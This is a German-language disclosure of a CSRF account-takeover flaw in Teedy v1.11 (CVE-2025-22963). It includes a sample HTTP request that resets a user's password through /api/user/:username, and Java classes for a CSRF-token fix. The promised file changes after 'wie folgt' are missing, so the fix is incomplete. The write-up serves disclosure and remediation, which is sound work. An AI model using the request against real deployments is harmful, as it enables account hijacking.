
Proof-of-concept-Exploit für CVE-2025-22963, eine CSRF-Schwachstelle in Teedy v1.11, die eine Kontoübernahme über den Endpunkt zur Benutzerinformationsänderung ermöglicht.
Die Cross-Site-Request-Forgery (CSRF)-Sicherheitslücke in Teedy-Versionen ≤ v1.11 ermöglicht es entfernten Angreifern, einen Endbenutzer dazu zu zwingen, seine Benutzerinformationen (Benutzername, Passwort usw.) in der Webanwendung, in der er derzeit authentifiziert ist, zu ändern.
Der Endpunkt zur Änderung von Benutzerinformationen ist /api/user/:username.
Dieser Endpunkt prüft zur Autorisierung nur das auth_token in Cookies.
Der auth_token-Wert kann von anderen Ursprungswebsites verwendet werden.
POST /api/user/admin HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded;charset=utf-8
Content-Length: 173
Origin: http://localhost:8080
Connection: keep-alive
Referer: http://localhost:8080/
Cookie: auth_token=890b02eb-3e4b-4134-a523-56093a25952b
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
username=admin&groups=administrators&email=admin%40example.com&totp_enabled=false&storage_quota=0&storage_current=0&disabled=false&password=superSecure&passwordconfirm=superSecure
Daher führt das Besuchen einer Website, die Anfragen an /api/user/:username sendet, durch einen Endbenutzer dazu, dass die Informationen des Endbenutzers auf die des entfernten Angreifers geändert werden.
Zu den Benutzerinformationen gehört das Passwort.
Dies könnte zur Übernahme des Kontos führen.
Dieser Angriff ist möglich, wenn ein entfernter Angreifer den Benutzernamen eines Endbenutzers kennt.
Dieser Angriff ist sowohl gegen Admin- als auch gegen Gastbenutzer ausnutzbar.
In dieser Situation kann ein Angreifer das Konto des Opfers übernehmen, indem er das Passwort des Opferbenutzers auf das Passwort des Angreifers setzt und sich mit dem Passwort des Angreifers in das Konto des Opfers einloggt.
Um diese Sicherheitslücke zu beheben, fügen Sie beim Anfordern von /api/user/:username ein CSRF-Token hinzu.
POST /api/user/admin HTTP/1.1
...
username=admin&groups=administrators&email=admin%40example.com&totp_enabled=false&storage_quota=0&storage_current=0&disabled=false&password=superSecure&passwordconfirm=superSecure&csrf_token=<zufällig generiertes Token>
Dies schützt vor CSRF-Angriffen, da ein Angreifer den Wert des CSRF-Tokens nicht kennt.
Um CSRF-Token sicher zu verwenden, befolgen Sie diese Schritte:
Erstellen Sie zunächst diese Dateien im Verzeichnis docs/docs-web/src/main/java/com/sismics/docs/rest/util.
package com.sismics.docs.rest.util;
import java.util.Map;
import java.util.HashMap;
import java.security.SecureRandom;
import com.sismics.docs.rest.util.RandomTokenGenerator;
/**
* CSRF Token Class that manages users' CSRF Token
*/
public class CSRFToken {
private static CSRFToken instance = new CSRFToken();
private Map<String, String> tokenMap = new HashMap<String, String>();
private CSRFToken() {}
public static CSRFToken getInstance() {
return instance;
}
public void setToken(String userName, String token) {
tokenMap.put(userName, token);
}
public String getToken(String userName) {
if (tokenMap.containsKey(userName)) {
return tokenMap.get(userName);
}
// avoid using predictable string because bruteforcing this value could lead to bypass CSRF check
return RandomTokenGenerator.generate();
}
public boolean validate(String userName, String token) {
return this.getToken(userName).equals(token);
}
}
RandomTokenGenerator.java
package com.sismics.docs.rest.util;
import java.security.SecureRandom;
import java.lang.StringBuilder;
import java.lang.String;
/**
* A token generator for CSRF Token
*/
public class RandomTokenGenerator {
public static String generate() {
byte[] bytes = new byte[16];
SecureRandom rand = new SecureRandom();
rand.nextBytes(bytes);
StringBuilder sb = new StringBuilder();
for (byte b : bytes) {
sb.append(String.format("%02x", b));
}
return sb.toString();
}
}
Ändern Sie danach diese Dateien wie folgt.

sismics - Teedy (https://github.com/sismics/docs)
portswigger - Cross-Site-Request-Forgery (CSRF) (https://portswigger.net/web-security/csrf)
Mozilla - Beispiele für Zugriffskontrollszenarien (https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#examples_of_access_control_scenarios)
Vielen Dank an Ayato für die Anleitung, wie man eine Sicherheitslücke meldet.